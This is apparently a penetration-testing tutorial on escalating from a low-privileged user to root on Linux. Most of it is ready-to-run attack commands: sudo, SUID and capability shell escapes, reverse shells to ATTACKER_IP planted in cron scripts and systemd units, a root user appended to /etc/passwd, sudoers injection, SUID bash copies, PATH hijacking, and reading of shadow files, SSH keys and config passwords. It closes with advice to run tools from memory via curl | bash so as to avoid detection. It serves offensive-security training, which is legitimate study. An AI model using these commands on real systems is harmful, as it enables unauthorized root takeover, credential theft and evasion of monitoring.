Linux Privilege Escalation: From Low-Priv to Root

Enumeration First — Always

Before you even think about privilege escalation, stop and assess the environment. Enumeration isn’t a step — it’s the foundation for everything that comes next.

Privilege escalation on Linux is rarely about zero-day exploits. It’s about spotting misconfigurations, leftover credentials, poor permissions, and overlooked binaries. That only happens through good enumeration.

Start With the Basics

These commands reveal your current position and context:

whoami && id               # Current user and groups
uname -a                  # Kernel version and architecture
hostnamectl               # System metadata
cat /etc/os-release       # Linux distribution and version

System and Environment Context

ps aux                    # Running processes
df -h                     # Mounted filesystems
mount                     # Filesystem mount options
env                       # Environment variables

Check for:

• Mounted drives that might have sensitive info or poor permissions
• Unusual environment variables (e.g., custom PATH)
• Suspicious or custom binaries running as root

Targeted Enumeration

Use manual checks or automated tools like linpeas.sh to dig deeper:

• SUID binaries and writable files
• Cron jobs and timers
• Kernel version and loaded modules
• Interesting users and SSH keys
• Credentials in config files

Privilege Escalation Path 1: Sudo Rights

If a user has permission to run commands via sudo, it may be game over — especially if it’s misconfigured. This is one of the most reliable and common escalation paths.

What to Check

Start with:

sudo -l

This shows what commands the current user can run with sudo and under which conditions.

You’re looking for:

• NOPASSWD entries (commands that don’t require a password)
• The ability to run a shell, script, or interpreter
• Restricted binaries that can be abused (e.g., vim, less, find)

Escalation Scenarios

Full shell access:

sudo su
sudo -i
sudo bash

Misused NOPASSWD commands:
If you see:

(ALL) NOPASSWD: /usr/bin/vim

You can execute:

sudo vim -c '!sh'

Restricted command abuse:
Use GTFOBins — a curated list of binaries that can be leveraged for privilege escalation.

Example:

sudo less /etc/shadow

or

sudo awk 'BEGIN {system("/bin/sh")}'

Why It Works

sudo temporarily elevates privileges to root or another user. If the command being run can spawn a shell or run arbitrary commands, you can break out of the restricted context and become root.

Privilege Escalation Path 2: SUID Binaries

SUID (Set User ID) is a permission that tells the system to execute a binary with the privileges of the file’s owner — often root. If a binary with SUID can be abused, it may let a low-privileged user run commands with elevated rights.

What to Look For

Search the entire file system for SUID binaries:

find / -perm -4000 -type f 2>/dev/null

Some commonly exploitable SUID binaries include:

• /usr/bin/find
• /usr/bin/nmap
• /usr/bin/vim
• /usr/bin/perl
• /usr/bin/python
• /bin/bash

Exploitation Examples

1. Bash SUID Shell:
If bash has SUID set:

bash -p

2. Find:

find . -exec /bin/sh -p \; -quit

3. Nmap (interactive mode):

nmap --interactive
!sh

4. Perl/Python:
If these interpreters have SUID:

perl -e 'exec "/bin/sh";'
python -c 'import os; os.setuid(0); os.system("/bin/sh")'

Use GTFOBins to search for SUID-compatible binaries and exact exploit syntax.

Why It Works

SUID allows non-root users to execute binaries with root privileges. If the binary isn’t securely designed, it might allow you to escape to a shell or execute arbitrary commands as root.

Hunting for SetGID Binaries

SetGID (Set Group ID) is a permission that allows executables to run with the privileges of the group that owns the file, rather than the group of the user executing it. This can be dangerous if a binary is owned by a privileged group (like shadow, sudo, or a custom admin group) and is poorly secured.

To find all SetGID binaries on the system:

find / -type f -perm -2000 -ls 2>/dev/null
# -type f       → only files
# -perm -2000   → SetGID bit
# -ls           → show detailed info
# 2>/dev/null   → suppress permission denied errors

You’re looking for files with an s in the group permission triplet, like this:

-rwxr-sr-x 1 root shadow 23400 Apr  1 12:00 /usr/bin/expiry

Once found:

• Check what the binary does
• Inspect it with strings or run it with caution
• Determine if it allows you to read sensitive files, write to privileged locations, or execute commands

You can also check if it’s in GTFOBins — many SetGID binaries have known exploitation techniques.

Privilege Escalation Path 3: Cron Jobs

Cron is a built-in Linux utility used to schedule repetitive tasks. It runs commands or scripts at specified intervals. If these jobs are misconfigured, you can hijack them and execute code as another user — often root.

Where to Look

Check system-wide crontabs and cron directories:

cat /etc/crontab
ls -la /etc/cron.*
crontab -l

You’re looking for:

• Scripts that run as root
• Scripts stored in writable locations
• Scripts that call other files or binaries without full paths

Exploitation Scenarios

1. Root-owned job calls a writable script:

Example crontab entry:

* * * * * root /usr/local/bin/backup.sh

If backup.sh is writable:

echo 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh

Wait for the cron job to execute — you’ll get a reverse shell as root.

2. Job runs a script that calls cp without full path:

If /usr/local/bin/myscript.sh has:

#!/bin/bash
cp /etc/passwd /tmp/passwd.bak

And /usr/local/bin is in the PATH, you can create a fake cp binary:

echo "/bin/bash" > /tmp/cp
chmod +x /tmp/cp
export PATH=/tmp:$PATH

The cron job will execute your fake binary, not the real one.

Why It Works

Cron runs jobs with the permissions of the user who owns the job. If root owns the cron job and it executes a file you control — that file runs with root privileges.

Privilege Escalation Path 4: Writable Files and Configs

If a user can write to a file or config used by root (or a privileged service), they may be able to modify behavior, inject commands, or overwrite authentication mechanisms.

What to Look For

Scan for writable files:

find / -type f -perm -0002 -user root -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" 2>/dev/null

OR

find /etc /opt /home /var /tmp /usr -type f -perm -0002 -user root 2>/dev/null

Prioritize sensitive targets like:

• /etc/passwd
• /etc/shadow
• /etc/sudoers
• /etc/rc.local
• Files in /etc/systemd/system/
• Init scripts, service definitions, and startup configs

Exploitation Scenarios

1. Writable /etc/passwd (classic):

If /etc/passwd is writable, you can add a new root user:

• Generate a new password hash:

openssl passwd -1 -salt abc  newpassword

• Add this line to /etc/passwd:

echo 'pwned:$1$abc123$kZyxVN9sQzNc53Zczzzyz/:0:0:root:/root:/bin/bash' >> /etc/passwd

• Switch user:

su pwned

2. Writable sudoers file:

Dangerous and rare — but if found:

echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
sudo bash

3. Writable systemd service unit:

Find a writable .service file or create your own:

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'

Then:

systemctl daemon-reexec
systemctl start yourservice.service

Why It Works

Files like /etc/passwd and sudoers are gatekeepers for authentication and privilege. If you can change what they say, you can redefine the system’s access rules.

What Happens If a Directory is World-Writable?

If you can write to a directory, you can:

Action	Why It’s Dangerous
Add new files	You might drop a malicious script
Replace existing files	Replace a trusted script with your own
Rename/move files	Trigger logic flaws or denial of service
Change permissions	Make sensitive files executable or writable

That’s big trouble if anything in that directory is executed by root, such as a:

• Cron job
• Systemd service
• SUID binary
• Script in $PATH

Step 1: Find World-Writable Directories

find / -type d -perm -0002 -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*" 2>/dev/null

This finds all world-writable directories, excluding noise.

You’ll often see:

/tmp
/var/tmp
/dev/shm

These are meant to be writable — but if you find anything else, it’s potentially vulnerable.

Real-World Exploitable Scenarios

1. Writable Directory with a Script Executed by Root

Imagine this cron job:

* * * * * root /opt/scripts/backup.sh

Now check the directory:

ls -ld /opt/scripts
drwxrwxrwx 2 root root 4096 Jun 4 11:00 /opt/scripts

You can write to this directory.

Even if backup.sh itself isn’t writable, you can:

• Delete it and create a new one with the same name
• Or drop another file that the script uses (like config.txt or args)

Exploit:

echo "/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'" > /opt/scripts/backup.sh
chmod +x /opt/scripts/backup.sh

Now wait a minute. Then run:

/tmp/rootbash -p
# You’re root.

2. Writable Directory in $PATH

Let’s say you find this:

ls -ld /usr/local/bin
drwxrwxrwx 2 root root 4096 Jun 4 10:50 /usr/local/bin

If that’s in the $PATH for root (check with echo $PATH while root), then any binary placed there could be executed accidentally — especially if a cron job or script runs ls, cat, python, etc. without full paths.

Exploit:

echo "/bin/bash" > /usr/local/bin/ls
chmod +x /usr/local/bin/ls
# If root later runs a script that does `ls`, you win.

3. Writable Directory Used by a Service

Check for .service files in writable dirs:

find /etc/systemd/system /lib/systemd/system /usr/lib/systemd/system -type f -writable -user root 2>/dev/null

Or maybe the directory itself is writable:

ls -ld /etc/systemd/system/

If so, you can:

• Drop your own .service file
• Start it or wait for reboot

Malicious service:

[Unit]
Description=Malicious root service

[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'

[Install]
WantedBy=multi-user.target

Drop it into the writable dir:

cp evil.service /etc/systemd/system/
systemctl enable evil
systemctl start evil

Then:

/tmp/rootbash -p
# Game over.

Things to Look For

Writable Directory	What to Try
/opt/, /etc/cron.d/, /etc/systemd/system/	Look for scripts or service files you can replace or create
/usr/local/bin/, /usr/bin/	If root’s $PATH includes these, try PATH hijack
/tmp, /var/tmp	Not dangerous by itself, but maybe abused in other contexts
Any custom /home/*/scripts/	Often used by admins/devs — might be executed by cron or suid

Privilege Escalation Path 5: Kernel Exploits

Kernel exploits target vulnerabilities in the Linux kernel itself, allowing an unprivileged user to escalate directly to root. These are especially useful when:

• Other paths (sudo, SUID, cron) are locked down
• The system is running an outdated or vulnerable kernel version
• You’ve already enumerated but found no easy misconfigs

What to Check

Determine the kernel version:

uname -r
cat /proc/version

Check the distro too (important for exploit compatibility):

cat /etc/os-release

Search for Known Exploits

Use searchsploit or online CVE databases:

searchsploit linux kernel 4.4

Check for:

• Dirty Cow (CVE-2016-5195)
• Dirty Pipe (CVE-2022-0847)
• OverlayFS (CVE-2015-1328)
• PwnKit (CVE-2021-4034, polkit escalation)
• Netfilter bug (CVE-2022-32250)

Download the exploit, upload it to the target system, compile and run.

Example (Dirty Cow):

gcc dirty.c -o cow
./cow

If successful, you’ll get a root shell or overwrite a protected file like /etc/passwd.

Why It Works

These exploits take advantage of low-level flaws in how the Linux kernel handles memory, syscalls, or file permissions. Because the kernel operates with the highest privileges, exploiting it means instant root.

Privilege Escalation Path 6: Capabilities

File capabilities are a way to grant specific privileges to binaries without making them fully setuid root. Introduced as a security improvement, they sometimes become misconfigurations waiting to be abused.

Instead of giving a binary full root permissions, capabilities assign only what’s necessary — like binding to low ports, bypassing file permissions, or setting user IDs.

What to Look For

List all files with capabilities:

getcap -r / 2>/dev/null

Common dangerous capabilities:

• cap_setuid+ep — allows setting the user ID (can become root)
• cap_dac_read_search+ep — bypasses file read/execute permissions
• cap_sys_admin+ep — essentially root in many cases

Exploitation Example

If you find this:

/usr/bin/python3.8 = cap_setuid+ep

You can escalate with:

python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Same works for Perl, Node, or any interpreter that allows low-level system interaction.

Why It Works

Capabilities give a binary specific root-like powers. If the binary is user-writable, or allows arbitrary code execution, you can combine that power with a payload and step directly into root’s shoes.

Privilege Escalation Path 7: Password Reuse and Configuration Leaks

Even on hardened systems, the weakest link is often human: reused passwords, forgotten keys, or sensitive data left in plain text config files.

This method is about digging through the system to find credentials — and then trying them everywhere you can.

What to Look For

User credentials, tokens, or keys in files like:

cat ~/.ssh/id_rsa
cat ~/.bash_history
ls -la /root/
grep -i pass /var/www/*
cat /var/www/html/config.php
find / -name "*.env" 2>/dev/null

Focus on:

• Web app config files (.php, .env, .json, etc.)
• .bash_history and .profile for stored commands
• Files in /var/backups, /etc/, /home/, and /var/www/

What to Try

Once you find credentials:

• Try them with su to become another user:

su targetuser

• Try sudo -l again as the new user
• Attempt SSH login if access is available

ssh targetuser@localhost

• Check if you can connect to MySQL:

mysql -u root -p

• Try writing files via the service (e.g., into outfile in MySQL)

Example: Config Leak in PHP

Found this in config.php:

$db_user = "root";
$db_pass = "P@ssw0rd123!";

Try:

su root
# or
mysql -u root -p

Why It Works

Developers and admins often reuse the same credentials across:

• Local user accounts
• Web apps and services
• Databases
• SSH keys

Essential Tools and Scripts

While manual enumeration builds your skillset and intuition, having a few reliable tools in your kit can save hours and help you find what you might’ve missed.

Here are the go-to tools every pentester should know.

1. linpeas.sh

Purpose:
Comprehensive privilege escalation scanner for Linux.

What it finds:

• SUID binaries
• Writable scripts
• Kernel vulnerabilities
• PATH issues
• Weak file permissions
• Cron jobs
• Credentials

Usage:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Redirect output to a file if needed:

./linpeas.sh > results.txt

2. pspy

Purpose:
Monitors cron jobs and processes in real time — without needing root.

Why it matters:
Helps detect scripts or binaries being executed by root (like cron or timers).

Usage:

./pspy64

Watch for commands triggered by root or services — and whether you can hijack them.

3. Linux Exploit Suggester

Purpose:
Suggests kernel-based privilege escalation exploits.

Usage:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

Matches your kernel version (uname -r) to known public exploits and CVEs.

4. Manual Enumeration Cheatsheet

Use these commands when tools aren’t available or AV blocks uploads:

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
env
cat /etc/passwd
ls -alh /home/*

Pair them with scripting (e.g., bash, awk, grep) to refine results.

Pro Tip

Run tools from memory (e.g., via curl | bash) when filesystem writes are limited, or store results in /dev/shm to avoid detection.